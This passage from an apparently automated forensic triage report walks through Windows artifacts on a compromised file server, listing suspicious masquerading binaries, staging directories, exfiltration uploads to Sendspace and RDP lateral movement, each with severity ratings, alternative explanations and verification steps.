  • Alternative explanation: Could be installer misconfiguration, but given the otherwise suspicious nature of the services, this is likely an attacker oversight or a secondary escalation path.
  • Verify: Inspect C:\, C:\Program Files (x86)\, and intermediate directories for unexpected executables (Program.exe, Microsoft.exe, Advanced.exe, etc.).
  • [SEVERITY: HIGH] [CONFIDENCE: MEDIUM] An anomalous kernel driver named mnemosyne is present in the Windows root directory.
  • Evidence: row_ref 150, ts 2018-09-06T19:25:37.230253Z, name mnemosyne, imagepath \??\C:\windows\Mnemosyne.sys, type Kernel Device Driver (0x1), start Manual (3).
  • Why it matters: A non-standard kernel driver in the Windows root may indicate rootkit activity, defense evasion, or deep system tampering.
  • Alternative explanation: This may be a temporary forensic acquisition driver deployed alongside the F-Response agent (row 77, installed 0.375 seconds earlier); it must be ruled out before treating as compromise.
  • Verify: Confirm with the hunt team whether Mnemosyne.sys is part of the F-Response or other forensic deployment; check the driver’s signature, hash, and file creation metadata.
  • [SEVERITY: MEDIUM] [CONFIDENCE: HIGH] An F-Response forensic subject service is installed, indicating live-response acquisition on this host.
  • Evidence: row_ref 77, ts 2018-09-06T19:25:36.855253Z, name F-Response Subject, imagepath C:\windows\subject_srv.exe, imagepath_args -s "base-hunt.shieldbase.lan:5682" -l 3262 -v "F-Response Subject" -k "155522845", objectname LocalSystem, start Auto Start (2).
  • Why it matters: Confirms forensic interaction with the host and provides critical context for co-temporal artifacts (e.g., the mnemosyne driver installed less than one second later).
  • Alternative explanation: This is almost certainly the legitimate forensic acquisition agent deployed by the investigation team.
  • Verify: Confirm with incident leadership that F-Response was authorized and deployed on BASE-FILE at this time.

Data Gaps

  • No service installation logs (EVTX Event ID 7045): Without Security or System event logs, the exact installation time, installing user/session, and parent process for the suspicious services cannot be determined.
  • No file system or hash data: This artifact does not include hashes, digital signatures, or creation times for msadvapi2_32.exe, msadvapi2_64.exe, Mnemosyne.sys, or subject_srv.exe, so maliciousness cannot be conclusively confirmed from services data alone.
  • Running state unknown: The registry-based services artifact shows startup configuration but does not indicate whether any service is currently executing or when it was last started.
  • Mnemosyne intent ambiguous: The dataset cannot distinguish between a forensic memory/driver acquisition tool and attacker rootkit for the mnemosyne driver without additional driver catalog or tool-of-suite correlation.
  • No credential-access tooling observed in service paths: While no Mimikatz-like service names or paths were found, services could load such tooling at runtime; process memory or command-line telemetry is required to rule this out.
  • Temporal coverage ends 2018-09-06: Service removals or modifications after this timestamp are not visible in this artifact.
Shimcache (shimcache) HIGH
Record Count 277
Time Range Start 2013-06-18T13:14:55.123774
Time Range End 2026-06-13T06:13:34.340815

Findings

  • [SEVERITY: CRITICAL] [CONFIDENCE: HIGH] Masqueraded binaries and an "install_wormhole" staging directory observed in Shimcache, consistent with attacker tooling.
  • Evidence: row 141 (SYSVOL\ProgramData\staging\install_wormhole\install_msadvapi2_32.exe, last_modified 2018-05-08T21:06:25.983345), row 144 (SYSVOL\ProgramData\staging\install_wormhole\install_msadvapi2_64.exe, last_modified 2018-05-08T21:06:11.326715), row 60 (SYSVOL\Program Files (x86)\Microsoft Advanced API 64\msadvapi2_64.exe, last_modified 2018-03-02T20:42:22), row 61 (SYSVOL\Program Files (x86)\Microsoft Advanced API 32\msadvapi2_32.exe, last_modified 2018-03-02T20:43:58).
  • Why it matters: The "install_wormhole" directory name and the non-standard "Microsoft Advanced API" install paths indicate binaries deliberately masquerading as legitimate Microsoft components; the Feb–May 2018 progression from tooling installation to staging is highly suspicious.
  • Alternative explanation: Unusually named internal IT package or red-team tooling.
  • Verify: Hash the binaries, inspect Amcache/Prefetch/EVTX for execution evidence, and determine if these paths are authorized software.
  • [SEVERITY: HIGH] [CONFIDENCE: MEDIUM] Network reconnaissance tooling (WinPcap/Nmap) placed in the same suspicious masqueraded directories.
  • Evidence: row 137 (SYSVOL\Program Files (x86)\Microsoft Advanced API 32\winpcap-nmap-4.13.exe, last_modified 2018-02-26T22:47:32), row 142 (SYSVOL\Program Files (x86)\Microsoft Advanced API 64\winpcap-nmap-4.13.exe, last_modified 2018-02-26T22:47:32).
  • Why it matters: Attackers frequently stage network scanners during internal reconnaissance; placement inside a fake Microsoft directory alongside suspicious binaries raises the likelihood of malicious intent.
  • Alternative explanation: Administrator-installed network diagnostics tool placed in an unconventional path.
  • Verify: Correlate with account logon events around 2018-02-26 22:47 UTC and inspect executed command lines via EDR/EVTX.
  • [SEVERITY: MEDIUM] [CONFIDENCE: MEDIUM] McAfee-related binaries present in randomized GUID temporary directories under an administrative user profile.
  • Evidence: row 131 (SYSVOL\Users\ADMINI~1.SHI\AppData\Local\Temp\aaa30c79-16b2-4dac-8603-c4d91bc3e8fb\mfemactl.exe, last_modified 2018-05-08T21:54:37.868847), row 126 (SYSVOL\Users\ADMINI~1.SHI\AppData\Local\Temp\mfe691D.tmp\cleanup.exe, last_modified 2018-05-08T17:15:24), row 132 (SYSVOL\Users\ADMINI~1.SHI\AppData\Local\Temp\mfe691D.tmp\FrmInst.exe, last_modified 2018-05-08T17:15:24).
  • Why it matters: While filenames suggest McAfee software, randomized GUID subdirectories under an admin profile temp path are also consistent with staged execution or binary proxying.
  • Alternative explanation: Standard McAfee ePO agent push/installation behavior.
  • Verify: Validate file signatures against McAfee authenticode certificates and check ePO deployment logs for 2018-05-08.

Data Gaps

  • Execution not confirmed. Shimcache records presence on disk only; these entries do not independently prove the files were executed. Prefetch, Amcache, and Sysmon/Process Creation EVTX are needed to confirm execution.
  • Major timeline gap. The latest file last-modified time within any entry is 2018-05-30 (row 12), yet the artifact collection timestamp is 2026-06-13. No Shimcache entries reflect any file activity across an ~8-year window, which may indicate system inactivity, artifact reset/clearing, or evidence loss.
  • Absent attacker tool indicators. No entries for Mimikatz, PsExec, Procdump, or other common credential-access/lateral-movement tools were observed in this artifact; absence does not rule out their use.
  • Deduplication loss. 831 rows were removed as timestamp/ID-only duplicates, potentially obscuring repeated activity or subtle timestamp variations.
  • CacheMainSDb entries lack timestamps. Rows 233–277 provide no temporal context, limiting correlation.
  • No user, command-line, or network context. Shimcache does not capture parent process, command-line arguments, logon sessions, or network connections required to scope lateral movement or attribution.
Amcache (amcache) HIGH
Record Count 1288
Time Range Start 2003-02-21T08:42:21.982388
Time Range End 2018-09-07T06:35:14.402111

Findings

  • [SEVERITY: CRITICAL] [CONFIDENCE: HIGH] Masquerading attacker toolkit installed under fake publisher “Microsoft Advanced API,” staged from C:\ProgramData\staging\install_wormhole\, and bundled with Nmap and AMQP messaging libraries.
  • Evidence:
  • Row 365: path C:\ProgramData\staging\install_wormhole\install_msadvapi2_64.exe, sha1=0598c6093450998b122ec6d49b3b5f508cd381b7 (timestamp absent).
  • Row 376: same path, sha1=6f2cf6945aa802c2d94b0cb0842630ccf65fb638 (timestamp absent).
  • Row 604: path C:\ProgramData\staging\install_wormhole\install_msadvapi2_32.exe, sha1=39414f02d460264bd6689f6fe28a638a739e0968 (timestamp absent).
  • Row 369: path c:\program files (x86)\microsoft advanced api 64\msadvapi2_64.exe, sha1=9049111357c59c9a87b62681267e8f739491575f (timestamp absent).
  • Row 384: path c:\program files (x86)\microsoft advanced api 32\msadvapi2_32.exe, sha1=f18a9425d17da9067304409ec0a8b73e35279c85 (timestamp absent).
  • Row 364: path c:\program files (x86)\microsoft advanced api 64\winpcap-nmap-4.13.exe, sha1=955d9a7666075af6fdf86ce827a4f27a0784a9d3 (timestamp absent).
  • Row 363: path c:\program files (x86)\microsoft advanced api 64\SimpleAmqpClient.2.dll, sha1=63704dd599b53eb56d9636dd7370cd8162bf825d (timestamp absent).
  • Row 805: product name msadvapi_32, publisher Microsoft Advanced API, version 2.0, install_date 1601-01-01T00:02:33.630211+00:00 (epoch/default).
  • Row 1218: product name msadvapi_64, publisher Microsoft Advanced API, version 2.0, install_date 1601-01-01T00:02:33.630211+00:00 (epoch/default).
  • Why it matters: The non-existent Microsoft publisher, “install_wormhole” staging directory, inclusion of Nmap/WinPcap, and AMQP client libraries are consistent with adversary tooling for reconnaissance, command-and-control, and defense evasion.
  • Alternative explanation: A poorly named internal administrative utility, which is highly unlikely given the fake publisher, non-standard paths, and bundling of network attack tools.
  • Verify: Query the SHA-1 hashes against threat intelligence; inspect Shimcache/Prefetch and Windows Event Logs for execution confirmation; hunt for associated Services, Scheduled Tasks, or Run keys that persist these binaries.
  • [SEVERITY: HIGH] [CONFIDENCE: HIGH] Unsigned executable subject_srv.exe residing directly in C:\Windows\ with no publisher, product, or version metadata.
  • Evidence:
  • Row 341: path C:\Windows\subject_srv.exe, sha1=6935db820d990060446e836c2027fc2adfd9099e; publisher, product_name, company_name, and version fields are all empty (timestamp absent).
  • Why it matters: Dropping executables into C:\Windows\ is a common persistence and privilege-escalation technique, and the complete absence of metadata is atypical for legitimate software.
  • Alternative explanation: A third-party support tool or driver manually copied by an administrator.
  • Verify: Check for a valid digital signature; hunt for Registry Run keys, WMI subscriptions, or services referencing this file; compare the hash against a known-good baseline.
  • [SEVERITY: MEDIUM] [CONFIDENCE: MEDIUM] Command-line archive utility 7za.exe located in non-standard C:\ProgramData\staging\ alongside suspicious installer packages.
  • Evidence:
  • Row 122: path C:\ProgramData\staging\7za.exe, sha1=d4206fc233e3a708b54439e1c2bc12b48a755ed1 (timestamp absent).
  • Why it matters: A staging directory containing both a 7-zip utility and the “install_wormhole” packages may indicate attacker preparation for decompressing tools or compressing data for exfiltration.
  • Alternative explanation: Legitimate administrative packaging or software deployment workflow.
  • Verify: Audit the full contents of C:\ProgramData\staging\; review filesystem access logs and alternate data streams.

IOC Status

No explicit IOC patterns were provided in the investigation context.

Data Gaps

  • Missing execution timestamps: The suspicious binaries (msadvapi2_32.exe, msadvapi2_64.exe, subject_srv.exe, 7za.exe) contain blank or 1601-epoch install/modified timestamps in this Amcache extract, so the exact installation or first-execution date cannot be determined from this artifact alone.
  • Execution unconfirmed: Amcache inventories installation but not necessarily execution. Shimcache, Prefetch, Windows Event Logs (Security/System/Microsoft-Windows-Sysmon/Operational), and service control manager events are required to confirm these binaries were actually launched.
  • No credential-access artifacts observed: No Mimikatz, LSASS dumpers, SAM/SYSTEM hives, or known credential-theft tools were identified in this Amcache inventory.
  • No explicit lateral-movement utilities: No PsExec, RDP clients, or remote admin tools were observed, though the presence of Nmap/WinPcap suggests network reconnaissance capability.
  • Stale data relative to investigation date: This Amcache ends on 2018-09-07, roughly eight years before the current investigation date (2026-06-13). Subsequent compromises, rebuilds, or evidence clearing may have occurred in the intervening period.
  • Deduplication losses: 31 rows were removed as duplicates during artifact processing, which may have suppressed variant timestamps useful for timeline construction.
UserAssist (userassist) HIGH
Record Count 76
Time Range Start 1601-01-01T00:00:00
Time Range End 2018-09-06T15:54:31.740000

Findings

  • [SEVERITY: CRITICAL] [CONFIDENCE: HIGH] Unknown executable ri.exe executed from a non-standard subdirectory of C:\Windows\Temp by the spsql account.
  • Evidence: row 42, 2018-09-05T14:08:10.924000+00:00, path {F38BF404-1D43-42F2-9305-67DE0B28FC23}\Temp\perfmon\ri.exe, username spsql.
  • Why it matters: Attackers commonly drop randomly named tooling or malware into Temp directories; execution by an account that by naming convention appears to be a SQL service account is highly anomalous and warrants immediate scoping.
  • Alternative explanation: A legitimate but undocumented diagnostic or installer utility placed by an administrator.
  • Verify: Acquire the file hash of ri.exe from the disk image, check against threat intelligence, and review Prefetch / Sysmon / Security Event ID 4688 for command-line arguments and parent process.
  • [SEVERITY: HIGH] [CONFIDENCE: HIGH] Concentrated cluster of interactive administrative and remote-access activity by the spsql account over six days.
  • Evidence: row 39 (2018-08-31T21:11:35.326000+00:00, Microsoft.Windows.RemoteDesktop), row 48 (same timestamp, Remote Desktop Connection.lnk), row 49 (2018-08-31T23:01:46.442999+00:00, Windows PowerShell.lnk), row 40 (same timestamp, {1AC14E77-02E7-4E5D-B744-2EB1AE5198B7}\WindowsPowerShell\v1.0\powershell.exe, 3 executions, ~33 minutes focus duration), row 50 (2018-09-05T18:27:07.928999+00:00, Command Prompt.lnk), row 43 (same timestamp, {1AC14E77-02E7-4E5D-B744-2EB1AE5198B7}\cmd.exe, 3 executions, ~31 minutes focus duration), row 45 (2018-09-06T15:54:31.740000+00:00, {1AC14E77-02E7-4E5D-B744-2EB1AE5198B7}\mmc.exe).
  • Why it matters: Service-like accounts rarely launch Explorer-driven shells and RDP clients; the timeline suggests interactive attacker control or compromised credentials being used to administer and move laterally through the environment.
  • Alternative explanation: Database administrators used the SQL service account to perform authorized interactive maintenance on the file server.
  • Verify: Correlate with Windows Security Log Event IDs 4624/4634 for spsql interactive (Type 2) and RDP (Type 10) logons between 2018-08-31 and 2018-09-06, and examine source IP addresses and concurrent sessions.

Data Gaps

  • Limited execution visibility: UserAssist records only programs launched via the Explorer shell. It provides no visibility into command-line-only execution, WMI, scheduled tasks, services, or non-interactive malware, so attacker tooling run headlessly would not appear here.
  • Null timestamps block timeline reconstruction: 33 records carry the null timestamp 1601-01-01T00:00:00+00:00 (e.g., rows 5, 6, 14), making it impossible to date those specific events or determine if they relate to the suspicious August–September cluster.
  • No command-line or provenance data: The artifact does not record arguments, file hashes, digital signatures, or parent processes, so the intent of ri.exe and the exact nature of the PowerShell/cmd sessions cannot be determined from this source alone.
  • No authentication or network context: UserAssist does not capture logon events, source IPs, or network connections, so we cannot confirm whether the spsql activity originated from a legitimate administrator or an external attacker.
  • Credential-access tooling not observed: No explicit credential-harvesting utilities (e.g., Mimikatz, lsadump variants) were seen in this dataset, though such tools are typically executed from the command line and would fall outside UserAssist scope. Correlation with LSASS access events or protected-users telemetry is needed.
Recycle Bin (recyclebin) MEDIUM
Record Count 21
Time Range Start 2018-04-25T21:40:11.671000
Time Range End 2018-08-15T05:26:56.188999

Findings

  • [SEVERITY: HIGH] [CONFIDENCE: MEDIUM] Bulk deletion of Puppet SSL private keys and certificates by the built-in local Administrator in rapid succession.
  • Evidence: Between 2018-04-25T21:40:11.671000+00:00 and 2018-04-25T21:41:27.129999+00:00, 16 related objects were deleted by Administrator (Recycle Bin SID ending in -500), including: private_keys\base-file.pem (rows 6, 7, 8, 9), certs\base-file.pem (rows 17, 20), certs\ca.pem (rows 18, 21), public_keys\base-file.pem (rows 5, 11), and parent directories such as private_keys, certs, and certificate_requests (rows 4–21). File sizes for private key files are 3.22 KB each.
  • Why it matters: Puppet private keys and CA certificates are sensitive credential material; their comprehensive deletion by a privileged account may indicate cleanup after theft or abuse of Puppet for lateral movement, or an attempt to disable Puppet-managed security controls on a file server.
  • Alternative explanation: An administrator may have been troubleshooting Puppet or intentionally regenerating the node’s SSL identity, which requires removing old keys.
  • Verify: Correlate with Windows Security/System EVTX and the USN Journal for puppet, ruby, or command-line processes around 2018-04-25 21:40 UTC; check the Puppet master for certificate revocation/regeneration events on this date.
  • **[SEVERITY: MEDIUM] [CONFIDENCE: LOW] Deletion of a file named vss39 from the system root by a domain user.**
  • Evidence: 2018-08-15T05:26:56.188999+00:00, row 3, original path C:\vss39 (3.12 MB), deleted by rsydow-a.
  • Why it matters: The name resembles the Volume Shadow Copy Service (VSS), which attackers frequently abuse to delete shadow copies or extract credentials; a file with this name sitting in C:\ and later deleted warrants scrutiny.
  • Alternative explanation: Could be a benign data file, temporary installer, or user-named object unrelated to VSS abuse.
  • Verify: Attempt to recover the item from the Recycle Bin or a shadow copy for content/hash analysis; check Security EVTX for privileged access or elevation by rsydow-a near this timestamp.

IOC Status

  • No explicit IOCs were provided in the investigation context; therefore, no IOC status to report.

Data Gaps

  • Recycle Bin coverage is sparse and potentially incomplete. Only 21 records are present across a four-month window. Attackers routinely bypass the Recycle Bin (e.g., Shift+Delete, rd /s /q, or direct API calls) or empty it after cleanup, so the absence of other deleted files is not evidence of absence.
  • No file content or hashes. It is impossible to determine from this artifact alone whether C:\vss39 was malicious, or whether the Puppet private keys were exfiltrated prior to deletion.
  • No execution context. This artifact does not reveal the parent process or command line used to perform the deletions (e.g., Windows Explorer vs. a script vs. malware).
  • Gaps in activity windows. There is minimal Recycle Bin coverage between April and August 2018, leaving the majority of the investigation window unassessed via this artifact.
  • Missing correlation artifacts. Verification requires cross-referencing with Security EVTX (event IDs 4663/4656), USN Journal, MFT, and Prefetch to determine if the deletions were manual, scripted, or part of an intrusion playbook.
Browser History (browser.history) HIGH
Record Count 50
Time Range Start 2018-04-25T21:40:35.735643
Time Range End 2018-09-05T15:02:21.675701

Findings

  • [SEVERITY: CRITICAL] [CONFIDENCE: HIGH] Service account spsql performed multiple file uploads to the public file-sharing site Sendspace via Internet Explorer.
  • Evidence: row_ref 20 (2018-09-05T15:02:21.675701+00:00), 28 (2018-09-05T15:01:07.637617+00:00, visit_count: 27), and rows 21–27, 29–38; user spsql; URLs including https://fs09u.sendspace.com/upload?SPEED_LIMIT=0&MAX_FILE_SIZE=314572800&UPLOAD_IDENTIFIER=... and https://www.sendspace.com/.
  • Why it matters: Bulk upload activity to a public file-sharing service by a likely SQL service account is highly anomalous and strongly indicates data exfiltration.
  • Alternative explanation: A database administrator legitimately used the spsql account to share large SQL extracts externally.
  • Verify: Cross-reference file-system audit logs for files touched by spsql between 2018-09-05T14:50Z and 15:05Z; inspect proxy/firewall logs for total outbound bytes to *.sendspace.com.
  • [SEVERITY: HIGH] [CONFIDENCE: MEDIUM] Domain-admin account administrator.shieldbase accessed an internal host at 10.10.10.10 using randomized hex-string paths and browsed local McAfee-themed zip archives on shieldbase-share in tight succession.
  • Evidence: row_ref 39 (2018-05-08T14:47:17.254564+00:00, http://10.10.10.10/ad0b1bdf/), 40 (2018-05-04T13:58:56.107101+00:00, http://10.10.10.10/3079f5a5/), 41 (2018-05-04T13:58:36.659599+00:00, http://10.10.10.10/4b4dcef7/), 43 (2018-05-04T13:58:56.060316+00:00, file:///C:/Shares/shieldbase-share/McAfee_ePO_docs.zip), 44 (2018-05-08T14:47:17.207718+00:00, file:///C:/Shares/shieldbase-share/McAfee%20Installation/Java4ePO.zip), and 45 (2018-05-04T13:58:36.628426+00:00, file:///C:/Shares/shieldbase-share/McAfee.zip); user administrator.shieldbase.
  • Why it matters: Non-descriptive hex URL paths coupled with archive file access by a domain admin may reflect staging of malicious payloads disguised as security software.
  • Alternative explanation: Internal software distribution server using hashed or UUID-based paths for legitimate McAfee packages.
  • Verify: Determine the identity and role of host 10.10.10.10; inspect the referenced zip files for malware; review web server logs on 10.10.10.10 for these paths.

Data Gaps

  • Only Internet Explorer history is present; activity in Chrome, Firefox, or Edge is not assessable, and attackers may have used an alternate browser to avoid detection.
  • Missing proxy, firewall, or NetFlow records prevent confirmation of upload completion, data volume, or whether files were actually downloaded from 10.10.10.10.
  • No download history or temporary internet file artifacts are included to verify what files were transferred to Sendspace or retrieved from the hex-string URLs.
  • Title, host, referrer (from_url), typed, and hidden fields are empty across all records, removing navigation context.
  • Credential-access tooling, privilege-escalation exploit pages, and persistence mechanisms (e.g., Mimikatz, PsExec, or web-shell access) are not visible in this artifact; they may reside in other browser data or were delivered via non-browser channels.
  • A roughly four-month gap exists between the May administrator.shieldbase activity and the September spsql activity; mid-period browser history may have been cleared, rotated, or was never captured.
Browser Downloads (browser.downloads) MEDIUM
Record Count 5
Time Range Start 2018-05-04T13:58:39.872255
Time Range End 2026-06-13T06:13:51.487134

Findings

  • [SEVERITY: MEDIUM] [CONFIDENCE: MEDIUM] Privileged domain account used Internet Explorer to download multiple ZIP archives from an internal IP address via non-descriptive hex directory paths directly to file-server shares.
  • Evidence: row_ref 4 (ts_end 2018-05-04T13:58:39.872255+00:00, url http://10.10.10.10/4b4dcef7/McAfee.zip, path C:\Shares\shieldbase-share\McAfee.zip, username administrator.shieldbase); row_ref 3 (ts_end 2018-05-04T13:58:56.231867+00:00, url http://10.10.10.10/3079f5a5/McAfee_ePO_docs.zip, path C:\Shares\shieldbase-share\McAfee_ePO_docs.zip, username administrator.shieldbase); row_ref 5 (ts_end 2018-05-08T14:47:17.504580+00:00, url http://10.10.10.10/ad0b1bdf/Java4ePO.zip, path C:\Shares\shieldbase-share\McAfee Installation\Java4ePO.zip, username administrator.shieldbase).
  • Why it matters: Browser activity on a file server is atypical; combined with AV-themed filenames, hex path segments, and delivery to accessible shares, this is consistent with attacker staging or masquerading payloads for lateral movement.
  • Alternative explanation: Internal IT software distribution repository using hashed directory names for package versioning.
  • Verify: Inspect the contents and hashes of the downloaded ZIPs; check execution artifacts (Prefetch/Amcache) for extracted files; validate whether 10.10.10.10 is a legitimate internal asset via proxy/server logs.
  • [SEVERITY: LOW] [CONFIDENCE: MEDIUM] Anomalous blob: scheme download logged in Internet Explorer saving an Office configuration XML to a share path.
  • Evidence: row_ref 2 (ts_end 2018-05-13T22:36:33.617800+00:00, url blob:5269012C-25A9-4EA4-80DE-3E9CF588CD20, path C:\Shares\Installers\Office\Configuration-updated.xml, username rsydow, browser iexplore).
  • Why it matters: blob: URIs are uncommon in IE download histories and may indicate client-side script-driven generation, potentially associated with a web-based exploit kit or manipulated internal page.
  • Alternative explanation: Internal administrative web tool using JavaScript to generate and push configuration files.
  • Verify: Examine the XML file for malicious external references; recover the hosting page URL from raw WebCacheV01.dat to determine origin.
  • [SEVERITY: LOW] [CONFIDENCE: HIGH] Null browser download record with no actionable metadata.
  • Evidence: row_ref 1 (browser iexplore, username rsydow; ts_start, ts_end, path, url, size, and state are all empty).
  • Why it matters: Incomplete records impede timeline reconstruction and may indicate log truncation, parser limitations, or anti-forensic activity.
  • Alternative explanation: Artifact extraction failure for an incomplete or cancelled download session.
  • Verify: Validate against raw WebCacheV01.dat and compare with a full browser history parse.

Data Gaps

  • Completion and content status unknown: All records lack size and state fields; it cannot be determined whether downloads completed successfully or what the payload sizes were.
  • Missing initiation timestamps: ts_start is absent for every record, preventing calculation of download duration or precise ordering.
  • Temporal coverage gap: Only five download records exist, all clustered between 2018-05-04 and 2018-05-13. No records cover the intervening ~8 years to the current analysis date (2026-06-13), suggesting log rotation, minimal server browsing, data loss, or evidence destruction. The artifact metadata statistics cite a 2026 end-date that is not reflected in the actual row data.
  • Default DFIR tactics not assessable: Privilege escalation, credential access (including Mimikatz-like tooling), persistence, defense evasion, and exfiltration cannot be assessed from browser download artifacts alone; no evidence of these tactics appears in the provided records.
  • Execution correlation absent: No associated execution artifacts (Prefetch, Amcache, SRUM) are provided, so it cannot be determined whether any downloaded file was subsequently unpacked or executed.
  • Origin server ambiguity: Without DNS, DHCP, or proxy logs, the nature and legitimacy of 10.10.10.10 cannot be established.
Automatic Jump Lists (jumplist.automatic_destination) HIGH
Record Count 21
Time Range Start 2018-04-25T21:40:35.719999
Time Range End 2018-08-31T21:12:00.577999

Findings

  • [SEVERITY: HIGH] [CONFIDENCE: HIGH] Lateral movement via RDP from internal file server to internet-facing DMZ host by user rsydow-a.
  • Evidence: row_ref 8, application_name "Remote Desktop Connection 6.1.7600 (Win7)", lnk_name "Connect to dmz-ftp with Remote Desktop Connection", lnk_arguments /v:"dmz-ftp", lnk_mtime 2018-08-11T04:15:05.080000+00:00, username rsydow-a.
  • Why it matters: An interactive RDP session initiated from an internal file server to a DMZ asset is a clear lateral-movement vector and suggests the DMZ server was being managed or pivoted to from the internal network.
  • Alternative explanation: Authorized administrator performing legitimate maintenance on the DMZ FTP server.
  • Verify: Review Windows Security Event Logs (Event ID 4624/4648/4634) on BASE-FILE and the dmz-ftp host around 2018-08-11 04:15 UTC for rsydow-a.
  • [SEVERITY: HIGH] [CONFIDENCE: HIGH] Lateral movement via RDP from internal file server to 172.16.7.11 by service account spsql.
  • Evidence: row_ref 15, application_name "Remote Desktop Connection 6.1.7600 (Win7)", lnk_name "Connect to 172.16.7.11 with Remote Desktop Connection", lnk_arguments /v:"172.16.7.11", lnk_mtime 2018-08-31T21:12:00.577999+00:00, username spsql.
  • Why it matters: The spsql account appears to be a service account; interactive RDP usage from a file server to another host (likely the DMZ FTP server in the 172.16.7.x segment) is highly anomalous and indicates probable credential compromise or misuse.
  • Alternative explanation: Emergency interactive troubleshooting performed by a DBA using the service account.
  • Verify: Identify whether 172.16.7.11 is the DMZ FTP server; check if spsql is granted "Allow log on through Remote Desktop Services"; correlate with authentication logs on both endpoints around 2018-08-31 21:12 UTC.
  • [SEVERITY: MEDIUM] [CONFIDENCE: HIGH] Staging or reconnaissance against DMZ FTP share by rsydow-a via mapped drive days before the RDP session.
  • Evidence: row_ref 9, application_name "Notepad 64-bit", lnk_net_name \\dmz-ftp\srl-ftp, lnk_device_name Z:, common_path_suffix Users\rsydow-f\rsydow-test.txt, timestamp 2018-08-08T16:15:36.401999+00:00; row_ref 14, application_name "Windows Explorer Windows 8.1", lnk_net_name \\dmz-ftp\srl-ftp, lnk_device_name Z:, common_path_suffix Users\rsydow-f, timestamp 2018-08-08T16:15:36.401999+00:00; both username rsydow-a.
  • Why it matters: Opening a file named rsydow-test.txt on a DMZ-hosted share from the internal file server, followed days later by RDP to the same DMZ host, is consistent with attacker staging, drop-box testing, or cross-boundary data movement.
  • Alternative explanation: Legitimate user copying personal files or verifying FTP share connectivity.
  • Verify: Recover and inspect rsydow-test.txt from the dmz-ftp image; check SMB session logs on BASE-FILE and dmz-ftp for 2018-08-08.

Data Gaps

  • Credential-access tooling, privilege escalation, persistence mechanisms, and defense-evasion activity (e.g., Mimikatz-like behavior) are Not Assessable from Automatic Jump Lists alone; these artifacts only capture user-initiated file/application references.
  • Windows Security Event Logs are required to confirm actual authentication events, logon types, source IP addresses, and session durations for the observed RDP connections.
  • Whether dmz-ftp and 172.16.7.11 refer to the same DMZ asset cannot be definitively determined from this file-server image; DNS/ARP/network artifacts from other hosts are needed.
  • The content and origin of rsydow-test.txt and the purpose of the Users\rsydow-f path on the DMZ share cannot be determined from Jump List metadata.
  • Some records show null target MAC times (1601-01-01T00:00:00+00:00, e.g., row_ref 1), indicating the target file may have been deleted, offline, or hosted on a volume that does not return timestamps, limiting file-existence verification.
Custom Jump Lists (jumplist.custom_destination) UNSPECIFIED
Record Count 9
Time Range Start 2018-04-26T01:21:00.920330
Time Range End 2018-09-05T15:02:58.342249

Nothing suspicious was detected in the Custom Jump Lists artifact.

Data Gaps

  • Missing AutomaticDestinations MRU/MFU metadata. Only customDestinations records (9) are present. The artifact guidance notes that AutomaticDestinations DestList data is needed for full MRU/MFU ordering, which limits the ability to determine recency and frequency of access.
  • Deduplication removed 9 variant records. The statistics note that 9 rows were removed as timestamp/ID-only duplicates, and 6 retained rows carry a _dedup_comment. This means potentially distinct filesystem timestamps or internal record IDs were collapsed, preventing analysis of timestamp variance within identical entries.
  • PowerShell command-line arguments are absent. All six PowerShell-related records (rows 4, 5, 10, 11, 16, 17) have empty lnk_arguments fields. It is therefore not possible to determine whether these shortcuts referenced encoded commands, script paths, or other malicious parameters.
  • No execution or network access confirmation. Jump List entries indicate user/application interaction, not proof of execution. All available lnk_mtime/lnk_atime/lnk_ctime values reflect Jump List file timestamps rather than program launch times, and no lnk_net_name, lnk_device_name, or UNC paths are present. Correlation with Prefetch, Amcache, SRUM, Windows Event Logs (Security/TerminalServices), and SMB/RDP authentication logs is required to assess actual execution, lateral movement, or credential access.
Shellbags (shellbags) HIGH
Record Count 197
Time Range Start 2012-03-13T18:49:40
Time Range End 2018-09-06T16:36:38.822922

Findings

  • [SEVERITY: CRITICAL] [CONFIDENCE: HIGH] The spsql account shows extensive Explorer-based browsing of administrative C$ shares on at least five remote hosts, including traversing Windows, System32, SysWOW64, Temp, and Logs directories, consistent with reconnaissance and lateral movement.
  • Evidence: 172.16.4.4\c$ (row 14), 172.16.4.4\c$\Windows at 2018-08-15T17:17:30+00:00 (row 15), 172.16.4.6\c$ (row 24), 172.16.4.6\c$\Windows at 2018-08-31T19:47:12+00:00 (row 25), 172.16.4.6\c$\Windows\Temp at 2018-09-05T14:28:36+00:00 (row 27), 172.16.4.6\c$\Windows\Temp\perfmon at 2018-09-05T14:44:48+00:00 (row 28), 172.16.7.12\c$ (row 30), 172.16.7.12\c$\Windows at 2018-08-15T17:17:30+00:00 (row 31), 172.16.6.11\c$ (row 33), 172.16.6.11\c$\Windows at 2018-09-06T15:01:04+00:00 (row 34), 172.16.6.11\c$\Windows\System32 at 2018-08-30T13:57:14+00:00 (row 193), and 172.16.6.11\c$\Windows\SysWOW64 at 2018-08-16T00:05:04+00:00 (row 196), all username spsql.
  • Why it matters: Interactive use of a likely service account to browse remote admin shares and system directories is a hallmark of attacker-led lateral movement and remote reconnaissance.
  • Alternative explanation: An administrator using the SQL service account to perform multi-server maintenance via Explorer.
  • Verify: Correlate Security event logs (Event IDs 4624/4628/4648) on the remote hosts (172.16.4.4, 172.16.4.6, 172.16.7.12, 172.16.6.11) for spsql logon events around August–September 2018, and inspect SMB session logs for file access patterns.
  • [SEVERITY: HIGH] [CONFIDENCE: HIGH] The rsydow-a account browsed the C:\Windows\System32\config directory and its RegBack subdirectory via Explorer, locations that store the SAM, SECURITY, and SYSTEM registry hives.
  • Evidence: My Computer\C:\Windows\System32\config at 2018-08-10T04:58:04+00:00 (row 102) and My Computer\C:\Windows\System32\config\RegBack at 2018-09-06T07:27:14+00:00 (row 103), username rsydow-a.
  • Why it matters: Access to these paths may indicate an attempt to locate, copy, or exfiltrate credential stores for offline cracking (e.g., harvesting registry hives).
  • Alternative explanation: Backup or incident-response personnel legitimately accessing registry backups.
  • Verify: Check for shadow copy creation, volume snapshot export, or file access events targeting SAM, SECURITY, or SYSTEM hives around these timestamps; inspect for credential-dumping tools inPrefetch/Shimcache.
  • [SEVERITY: HIGH] [CONFIDENCE: MEDIUM] The rsydow-a account browsed C:\vss39 and subdirectories beneath it, suggesting access to a mounted Volume Shadow Copy snapshot or backup mount point.
  • Evidence: My Computer\C:\vss39 at 2018-08-08T16:01:08+00:00 (row 94), with subdirectories including C:\vss39\Shares (row 95) and C:\vss39\Shares\Installers (row 96), username rsydow-a.
